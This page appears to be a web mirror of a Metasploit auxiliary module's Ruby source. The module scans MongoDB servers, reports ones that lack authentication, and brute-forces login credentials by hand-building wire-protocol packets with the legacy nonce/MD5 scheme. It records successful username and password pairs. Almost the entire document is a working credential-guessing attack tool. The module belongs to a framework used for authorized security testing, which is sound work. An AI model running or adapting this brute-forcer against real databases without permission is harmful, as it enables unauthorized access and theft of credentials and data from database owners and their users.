CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mongodb/mongodb_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::AuthBrute
9
include Msf::Auxiliary::Scanner
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => 'MongoDB Login Utility',
15
'Description' => %q{
16
This module attempts to brute force authentication credentials for MongoDB.
17
Note that, by default, MongoDB does not require authentication.
18
},
19
'References' =>
20
[
21
[ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ],
22
[ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ]
23
],
24
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
25
'License' => MSF_LICENSE
26
))
27
28
register_options(
29
[
30
Opt::RPORT(27017),
31
OptString.new('DB', [ true, "Database to use", "admin"])
32
])
33
end
34
35
def run_host(ip)
36
print_status("Scanning IP: #{ip.to_s}")
37
begin
38
connect
39
if require_auth?
40
each_user_pass { |user, pass|
41
do_login(user, pass)
42
}
43
else
44
report_vuln(
45
:host => rhost,
46
:port => rport,
47
:name => "MongoDB No Authentication",
48
:refs => self.references,
49
:exploited_at => Time.now.utc,
50
:info => "Mongo server has no authentication."
51
)
52
print_good("Mongo server #{ip.to_s} doesn't use authentication")
53
end
54
disconnect
55
rescue ::Exception => e
56
print_error "Unable to connect: #{e.to_s}"
57
return
58
end
59
end
60
61
def require_auth?
62
request_id = Rex::Text.rand_text(4)
63
packet = "\x3f\x00\x00\x00" # messageLength (63)
64
packet << request_id # requestID
65
packet << "\xff\xff\xff\xff" # responseTo
66
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
67
packet << "\x00\x00\x00\x00" # flags
68
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)
69
packet << "\x00\x00\x00\x00" # numberToSkip (0)
70
packet << "\x01\x00\x00\x00" # numberToReturn (1)
71
# query ({"listDatabases"=>1})
72
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
73
74
sock.put(packet)
75
response = sock.recv(1024)
76
77
have_auth_error?(response)
78
end
79
80
def do_login(user, password)
81
vprint_status("Trying user: #{user}, password: #{password}")
82
nonce = get_nonce
83
status = auth(user, password, nonce)
84
return status
85
end
86
87
def auth(user, password, nonce)
88
request_id = Rex::Text.rand_text(4)
89
packet = request_id # requestID
90
packet << "\xff\xff\xff\xff" # responseTo
91
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
92
packet << "\x00\x00\x00\x00" # flags
93
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
94
packet << "\x00\x00\x00\x00" # numberToSkip (0)
95
packet << "\xff\xff\xff\xff" # numberToReturn (1)
96
97
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
98
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
99
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
100
document << [user.length + 1].pack("L") # +1 due null byte termination
101
document << user + "\x00"
102
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
103
document << nonce + "\x00"
104
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
105
document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00"
106
document << "\x00"
107
# Calculate document length
108
document.insert(0, [document.length + 4].pack("L"))
109
110
packet += document
111
112
# Calculate messageLength
113
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
114
sock.put(packet)
115
response = sock.recv(1024)
116
unless have_auth_error?(response)
117
print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")
118
report_cred(
119
ip: rhost,
120
port: rport,
121
service_name: 'mongodb',
122
user: user,
123
password: password,
124
proof: response.inspect
125
)
126
return :next_user
127
end
128
129
return
130
end
131
132
def report_cred(opts)
133
service_data = {
134
address: opts[:ip],
135
port: opts[:port],
136
service_name: opts[:service_name],
137
protocol: 'tcp',
138
workspace_id: myworkspace_id
139
}
140
141
credential_data = {
142
origin_type: :service,
143
module_fullname: fullname,
144
username: opts[:user],
145
private_data: opts[:password],
146
private_type: :password
147
}.merge(service_data)
148
149
login_data = {
150
last_attempted_at: Time.now,
151
core: create_credential(credential_data),
152
status: Metasploit::Model::Login::Status::SUCCESSFUL,
153
proof: opts[:proof]
154
}.merge(service_data)
155
156
create_credential_login(login_data)
157
end
158
159
def get_nonce
160
request_id = Rex::Text.rand_text(4)
161
packet = "\x3d\x00\x00\x00" # messageLength (61)
162
packet << request_id # requestID
163
packet << "\xff\xff\xff\xff" # responseTo
164
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
165
packet << "\x00\x00\x00\x00" # flags
166
packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd)
167
packet << "\x00\x00\x00\x00" #numberToSkip (0)
168
packet << "\x01\x00\x00\x00" #numberToReturn (1)
169
# query {"getnonce"=>1.0}
170
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
171
172
sock.put(packet)
173
response = sock.recv(1024)
174
documents = response[36..1024]
175
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
176
nonce = documents[15..30]
177
end
178
179
def have_auth_error?(response)
180
# Response header 36 bytes long
181
documents = response[36..1024]
182
#{"errmsg"=>"auth fails", "ok"=>0.0}
183
#{"errmsg"=>"need to login", "ok"=>0.0}
184
if documents.include?('errmsg')
185
return true
186
else
187
return false
188
end
189
end
190
end
191
192